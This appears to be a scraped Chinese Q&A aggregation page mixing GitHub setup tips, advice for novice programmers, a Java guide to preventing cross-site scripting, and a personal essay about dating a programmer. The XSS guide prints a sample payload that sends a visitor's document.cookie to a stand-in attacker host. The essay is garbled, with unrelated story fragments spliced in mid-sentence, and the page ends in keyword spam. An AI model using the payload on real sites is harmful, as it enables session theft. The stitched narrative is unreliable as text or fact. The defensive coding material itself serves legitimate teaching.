導航:首頁 > 編程語言 > 0hi程序猿

0hi程序猿

發布時間:2024-11-07 00:59:50

『壹』 如何在本地環境配置github

1、首先看你自己時候有賬號,沒有賬號的話到https://github.com/注冊Git賬號。

『貳』 新手如何學習編程

熟悉以下關鍵東西,可以邊學邊做,定期訓練,經常思考,長期積累:

1、語法。

2、基礎理論(數學、數據結構、演算法等)。

3、設計方法(編程原則、設計模式、框架設計等)。

4、庫(核心、基礎、UI、擴展、游戲引擎等)。

5、計算機相關(操作系統網路、圖形學等)。

6、領域知識(游戲設計、網站設計等)。

7、開發工具(編輯器、IDE、自動部署等)。

8、項目管理(進度管理、分工協作、Bug管理、版本控制等)。

最普遍也是最重要的能力:創造力。努力分析並理解好做什麼以及怎麼做。要知道上面那些東西一開始都是不存在的。

具體方法包括:

1、快速閱讀入門教程和書籍,適合學習語言和基礎庫。比如我學java讀的《Java編程思想》,練習題做過一點,然後學ActionScript就沒讀過書,只讀過Adobe官方文檔《ActionScript 3.0編程》。

2、閱讀庫的文檔、實例、源碼。比如Flash、Flex開發,熟悉官方API很重要,很多細節要具體使用時才注意到,這時候最好做個筆記,雖然我從沒看過我的筆記。

3、做一個自己感興趣或熟悉的小項目,比如我就以黑白棋游戲作為多個語言的試水項目,一樣的邏輯,便於把關注點放在語言特點上。

4、自己動手豐衣足食。廚師有菜譜,程序員可沒菜譜。比如我做游戲,最關鍵的游戲編程知識全部是動手學出來的,很少有專門針對某個業務領域(如游戲)的編程書籍,要麼是入門書,要麼是模式書(如演算法)、理論書(圖形學),很少有書籍教你如何開發一個45度角地圖系統加編輯器的,全靠自己思考,以及看前人的代碼,需要時找些網路資料。關鍵是,可以培養最重要的創造力。

對於演算法和設計模式,可以研讀下,但是關鍵還是靠平時如何使用了。新手勉強不來的。

項目管理方面的,就得靠工作經驗了,多思考多提意見不要只走流程。

『叄』 如何防止跨站點腳本攻擊

防止跨站點腳本攻擊的解決方法:

1.輸入過濾

對每一個用戶的輸入或者請求首部,都要進行過濾。這需要程序員有良好的安全素養,而且需要覆蓋到所有的輸入源。而且還不能夠阻止其他的一些問題,如錯誤頁等。
final String filterPattern="[<>{}\\[\\];\\&]";
String inputStr = s.replaceAll(filterPattern," ");

2.輸出過濾

public static String encode(String data)
{
final StringBuffer buf = new StringBuffer();
final char[] chars = data.toCharArray();
for (int i = 0; i < chars.length; i++)
{
buf.append("&#" + (int) chars[i]);
}
return buf.toString();
}
public static String decodeHex(final String data,
final String charEncoding)
{
if (data == null)
{
return null;
}
byte[] inBytes = null;
try
{
inBytes = data.getBytes(charEncoding);
}
catch (UnsupportedEncodingException e)
{
//use default charset
inBytes = data.getBytes();
}

byte[] outBytes = new byte[inBytes.length];
int b1;
int b2;
int j=0;
for (int i = 0; i < inBytes.length; i++)
{
if (inBytes[i] == '%')
{
b1 = Character.digit((char) inBytes[++i], 16);
b2 = Character.digit((char) inBytes[++i], 16);
outBytes[j++] = (byte) (((b1 & 0xf) << 4) +
(b2 & 0xf));
}
else
{
outBytes[j++] = inBytes[i];
}
}

String encodedStr = null;
try
{
encodedStr = new String(outBytes, 0, j, charEncoding);
}
catch (UnsupportedEncodingException e)
{
encodedStr = new String(outBytes, 0, j);
}
return encodedStr;
}
<!-- Maps the 404 Not Found response code
to the error page /errPage404 -->

<error-page>
<error-code>404</error-code>
<location>/errPage404</location>
</error-page>

<!-- Maps any thrown ServletExceptions
to the error page /errPageServ -->
<error-page>
<exception-type>javax.servlet.ServletException</exception-type>
<location>/errPageServ</location>
</error-page>

<!-- Maps any other thrown exceptions
to a generic error page /errPageGeneric -->
<error-page>
<exception-type>java.lang.Throwable</exception-type>
<location>/errPageGeneric</location>
</error-page>
任何的非servlet例外都被/errPageGeneric路徑捕捉,這樣就可以處理。
Throwable throwable = (Throwable)
request.getAttribute("javax.servlet.error.exception");
String status_code = ((Integer)
request.getAttribute("javax.servlet.error.status_code")).toString( );

3.安裝三方的應用防火牆,可以攔截css攻擊。

附:

跨站腳本不像其他攻擊只包含兩個部分:攻擊者和web站點。
跨站腳本包含三個部分:攻擊者,客戶和web站點。
跨站腳本攻擊的目的是竊取客戶的cookies,或者其他可以證明用戶身份的敏感信息。

攻擊
一個get請求
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
Host:
www.vulnerable.site
會產生如下的結果
<HTML>
<Title>Welcome!</Title>
Hi Joe Hacker
<BR>
Welcome to our system
...
</HTML>
但是如果請求被篡改
GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
Host: www.vulnerable.site
就會得到如下的響應
<HTML>
<Title>Welcome!</Title>
Hi <script>alert(document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
這樣在客戶端會有一段非法的腳本執行,這不具有破壞作用,但是如下的腳本就很危險了。
http://www.vulnerable.site/welcome.cgi?name=<script>window.open(「http://www.attacker.site/collect.cgi?cookie=」%2Bdocument.cookie)</script>
響應如下:
<HTML>
<Title>Welcome!</Title>
Hi
<script>window.open(「http://www.attacker.site/collect.cgi?cookie=」+document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
瀏覽器回執行該腳本並將客戶的cookie發到一個攻擊者的網站,這樣攻擊者就得到了客戶的cookie。

『肆』 我叫叫曲臭臭

劉飛 寫了個故事,叫 「 你們到底打過炮沒有? 」因為這句話,陶曉寧幾乎恨了許小年。她梗著脖子硬撐:「我又沒等什麼?」呵呵,他竟然把我跟他的故事寫成了故事!!!!!!!!!!!!!!!!!!
我第一次成了別人的故事素材!!!!!!!!!
讓我來撕開真相吧。
其實,老張並不叫老張,老張就是劉飛,劉飛也是老張,劉飛其實也不叫劉飛。
安瑜也不叫安瑜,爸媽沒給我那麼文藝的名字,我只好自我拯救,起了個江湖藝名叫曲臭臭。
<<<
事情是這樣的――
單身太久了,一朋友說,「給你介紹個對象吧,算你半個老鄉,靠譜。」
沒想到還有人惦記著我的終身大事,我很感動,手抖在微信上發了好幾行流口水的表情。
「但他是個程序猿。」朋友說。
「……滾。」
我還沒到飢不擇食找程序猿的程度吧。剛准備扔手機關燈睡覺,朋友發了他三張照片。
閱畢,我決定見他一面。
<<<
因為他顏值太高,是程序猿里的戰斗猿?想多了。
第一張,他在畢業晚會上說相聲。一席儒雅長衫下,露出了阿迪王運動鞋。
第二張,格子衫,黑框眼鏡,大經理說:「真沒看出來,你小子平時悶悶的,還有這一手。」平頭,眯著色狼眼,站在公司 logo 下,面色蒼白。
第三張,一張大餅臉占滿鏡頭的 98%,五官像被人搓麻將那樣蹂躪了一圈。
――但我擅長腦補。我發現這是一隻潛力猿,如果能被拾掇一下,還是很像樣的剛才,她收到郝大奇給她發來的一條手機簡訊。看了手機的簡訊,她一下子懵了,有點不知所措。這是她第一次收到郝大奇給她發簡訊,她不明白郝大奇是怎麼知道她手機號碼的。她感到很突然。。雖談不成戀人,至少由於對彼此都有不錯的第一印象,十幾天後,王佳寧與徐君共同參加了一次聚會。席間,一位摯友看到王佳寧的目光不離徐君左右,便拉住他倆,有意撮合著對王佳寧說:「你家的房子大,房間又多,平時又沒有人收拾,你看徐君是個初來乍到的『北漂』,乾脆租一間給她,少收些房租,沒事她還能幫你拾掇拾掇!」做個朋友,拉他一把,幫他提升一點審美情趣,早日體驗人生真正的幸福快樂。
嗷嗷待哺的程序猿千千萬,我不能普度眾生,但能救一個是一個。
我開始了十九年人生里的第一次相親。
<<<
約在五角場西堤牛排,他吃肉我喝湯。
聊下來,我發現他沒我想像中的那麼「程序猿」。
他以前在錘子工作,我剛好前幾天采訪一朋友,得知老羅不少八卦。於是兩人相談甚歡。
他在某美甲 O2O 創業,我剛好在做 O2O 的稿子,一起感嘆這大好的創業時代。於是兩人又相談甚歡。
他在我的家鄉念大學,提到一家擼串的好去處,那裡剛好也有我不少青春回憶。於是兩人又又相談甚歡。
他說相聲的視頻很好笑,他拍的照片很有水準,他的黑色風衣還蠻有型,發蠟的薄荷香很好聞,右手還戴著一枚騷氣的尾戒。(當然,看了他文章我才知道,出門之前他左手摳腳,右手啃黃瓜,完事雙手往衣服上蹭。)
人的魅力之處,就在於撕下刻板標簽後的兩重對比。作為一枚程序猿,竟然文藝得如此囂張。
吃完飯,我站在薄荷味的風里,看著淞滬路上隨列車一閃而過的燈光,醞釀出一個恰到好處的微笑,對他說,「今天跟你吃飯好開心。」
話說到這份上,他牽我一下手錶示一下總是可以的吧,結果――
他說,「那我再給你講個笑十年修得同船渡,百年修得共枕眠。除非少數那種真的沒找對人結了婚還各懷鬼胎的,否則哪家兩口子不是心意從談戀愛到結婚過日子走到起的,誰想放著好好的日子不過非要過那不好的日子非要鬧得雞飛狗跳啊?可是現實生活中還真就有兩人結婚前特別相愛,恨不得為對方把命都獻上,可結婚就完了,走進「墳墓」了,日子還真就過得雞飛狗跳的。為什麼?我覺得多半是兩個人沒有互相懂得。話,讓你更開心。」
「……好。」
「是這樣的。我不做程序猿很久了,之前還在錘子做產品經理。其實那不是真正的經理,但是在銀行辦信用卡的時候,因為有「經理」這兩個字,額度又給長了好多。哈哈哈哈哈哈哈哈哈哈哈哈……」
……
好,笑,嗎?
<<<
第二天早上,他給我發了個 「Hi」。
到晚上,微信聊到一千多條時,他問,「今天要見面嗎?」
我說「好」。
奇跡是在不知不覺中發生的。我們竟然連續見面了十幾天。我是那麼喜新厭舊追求新鮮感的人,十多天竟對他沒有一絲厭倦。
朗朗晴天突遇洪水,就索性做一回猛獸。
<<<
那時已"不是那個意思,我是說我也說不清楚!"經期末,我被線性代數搞得焦頭爛額。
每天晚上,我在學校等他從靜安寺打車過來,然後他騎我的女士自行車載著我,去大學路的貓空學線代。他說自己寶刀未老,歡迎求助。我性子倔,皺著眉頭翻書,咬著筆桿不肯請教他。
他坐在我對面,把雙肩包里的 iPhone、iPad 和 MacBook 都擺在桌子上碼放整齊,默默掏出一本紙質書來看。(……)
時間靜靜過去,線代書越翻越薄,他在我心裡留下的腳印越來越多。
我不是觀音,更不是佛。說是要渡化程序猿,卻被他拉進了同一條陰溝,渾身泥巴越滾越多。
――
他說要教我用 Markdown 寫文章,得意地告訴我,「一定把你培養成最會寫代碼的作家」。雖然不知道作家會寫代碼有什麼用,但後來我的世界裡,的確充滿了 「#」 這個奇怪的符號。
我想換個電腦,他眼睛放光,用生命跟我推銷 MacBook Air,說「這是全世界最適合你們文字工作者的電腦」。我點點頭說,「那記得幫我裝個 Windows 系統。」他渾身顫抖如喪考妣。後來,我成了 OS X 系統的死粉。
總之後來我數錢包里有幾個鋼G的時候總是從 0 開始數。
跟別人見面握手要握三次。
<<<
在我拿著線代書准備出門跟他見面第十七次的時候,我室友抱怨說,「你最近戀愛談得太凶了吧,晚上都不見你人。」
「什麼?我沒談戀愛啊!」我下意識反駁。
「這還不是談戀愛?那你天天晚上是出去坐台嗎?」室友說。
我被一語驚醒。
這些天,每天上百條微信,晚上見面幾個小時。我跟這枚程序猿,到底在做什麼呢?
<<<
每晚坐在自行車後座上,我大聲哼歌,雙腿亂晃,覺得身披萬丈霞光。但手始終在尷尬地僵持著,不曾挽過他的腰。
他每晚送我到公寓門口,然後掏出手機滴車回靜安寺。等車的時間,我們沉默,閑聊,四目相對,隔一江春水。直到我目送他上車,揮手再見。
我在等。
坐在自行車上等他說「你可以抱住我」而不是「你又胖了」,說冷時等他來牽我的手而不是「我要送你一副我的同款手套」,夜晚分別時等他給我一個擁抱而不是總結發言「你今天線代學得真好」。
可是,等一個悶騷程序猿的告白,比掰直一個 Gay 還要難吧。
但是,我真的喜歡他嗎?我不知道。
難道我只想做個玩家,在他這里打通關而已?我也不知道。
<<<
喜歡一個人,看他一眼,就能在腦海中和他過完一生。我也想過,如果跟他在一起,未來會是什麼樣子。
至少很快樂。
他用老張的口氣說,「很多方面我們都很契合,什麼都坦白說、明著說,從來不端著、不裝腔作勢。」
我好久沒有遇到像他這么默契的夥伴了。他懂我的文章,懂我藏著的那點操蛋的理想,懂我在世俗世界埋下的一毫米奢望。
說白了,他是枚悶騷而有情懷的程序猿。
如果遇上的是五年後的他,我一定會徹底愛上他。
但現在,順其自然吧。
<<<
而順其自然的結果是,我越來越忙。考試,采訪,寫書,時間越來越少。他在微信上寫給我的段子,我只能隔半天回一下「哈哈哈哈哈」,他問什麼時候能再見面,我只能草草發個微笑的表情。
就這么淡了。
直到那天,我考完線代,昏你們對視下就臉紅心跳,牽牽手手心全是汗。你們之間的感情,不會在經歷了柴米油鹽醬醋茶的蹂躪之後,變得索然無味才結束。可惜,他最終只留在你的記憶里。昏沉沉從考場出來,看到他用錘子便簽發給我的幾千字留言。
文筆好美,美得讓我忘記了言語中的悲傷和無奈,只想一讀再讀。
像他在那篇《程序猿老張》里寫,「這次跟她一起相處的這段時間,就是我瀏覽她的代碼的時間。我仔細閱讀了每條代碼和它們的注釋,最後發現,她在我這里是跑不通的。」
最後他告訴我,只能離開。
――這枚程序猿啊,他什麼都沒說,卻悄然在心中走過千山萬壑。他不動聲色地瀏覽代碼,閱讀注釋,不動聲色地交集百感,最後,只丟給我一個答案。
<<<
「我們還是朋友,對吧?」我小心翼翼地問他。
「當然。」他說,「但再也做不成親密的朋友了。」
「那,如果我線代掛了,你還願意教我嗎?」
「當然。」
聊天記錄就定格在這里。
直到成績出來,我線代真的掛了。補考前一個晚上,把搞不懂的題目啪啪啪用微信傳他。
半小時後,他傳來一堆圖給我。行列式、各雖然第次練攤狼狽不堪,但最終,她選擇了堅持。自小,她與開鞋店的母親相依為命,如今母親病了,店鋪關了,她能賴以為生的資本,只剩下那些庫存的樣式老的鞋子。種松山死於松山――前一個松山是人名,後一個松山是地名。松山死時,懷里揣著3封信和1張黑白照片。56年後,松山的遺物抵達李阿秀的手上。李阿秀捧著共有9個彈孔,布滿發黑的斑斑血跡的遺物,沒淚,只反反復復說:「看到這些,我就看到了松山,我就回到了昨天。」亂七八糟的符號用繪圖軟體畫得一絲不苟。
「我用一晚上重新把同濟教材看了一遍,不時湧出一種「 *** 我到底在干什麼」的想法,但畢竟答應你畫里的她是帶著明媚歡顏的,他為她隱去了那滴眼淚,他想用這幅畫告訴她,她笑起來會更美。了,就要做到。」他說。
「那,等我考過了,請你吃飯?」我有點感動,更有點想念他。
「我回北京了。」
……
他悄然離開了我的五角場,回到他的宇宙中心五道口。
<<<
我們好像沒談過戀這次,韓茵看到羅濤情緒不穩定,就暫時放棄了打工的念頭,每天在家陪著他。半個月以後,羅濤的情緒漸漸穩定下來,讓韓茵給自己買了副墨鏡,說要出去掙錢。韓茵看到羅濤有這個想法,心裡很高興。王小慧的心狂跳了起來。看來,玉舟對她也是有心的,也許,他是知道自己遇到了喜歡的人。想到這,王小慧的心反倒漸漸安靜了洋子明白了他們夫妻生活越來越糟糕的真正原因,她以為他工作壓力大。洋子終於明白了他很晚回家的根本緣故,她總以為他的應酬多……而一切,她終於懂了姐妹們提醒她的話――不叫的狗也傷人,而且傷得很深。下來。好像,所有的事情並不是因為她的存在而發生,只是水到渠成而已。愛,但他在我心裡,撒下了最美的一場雪。
但遺憾的是,他並沒有給我寫過詩。
依然謝謝你,老張。哦不,劉飛。
考研逃犯古代玄武門秦王春秋司馬相如卓文君韓信經典

閱讀全文

與0hi程序猿相關的資料

熱點內容
拷文件一般多少內存 瀏覽:149
華為傳文件到電腦上 瀏覽:900
兵團報少干計劃需要帶什麼文件 瀏覽:942
word另存為沒有文件名 瀏覽:681
max文件導入c4d 瀏覽:988
aspnet數據存儲到配置文件中 瀏覽:853
微信贊不了別人朋友圈 瀏覽:770
三星a7網路怎麼設置 瀏覽:618
直譯式編程語言是什麼 瀏覽:149
js表單判斷成功後提交 瀏覽:971
手機怎麼打開CAD源文件 瀏覽:603
19201080蘋果壁紙 瀏覽:137
java如何從json中取數據 瀏覽:607
蘋果手機怎麼改文件夾啊 瀏覽:930
10051代碼 瀏覽:947
沙盤內對文件進行刪除復制 瀏覽:510
爵士qq頭像女生背影 瀏覽:943
怎樣給電腦文件加密碼 瀏覽:106
電池修改數據什麼意思 瀏覽:714
iphone5chome鍵觸點 瀏覽:741

友情鏈接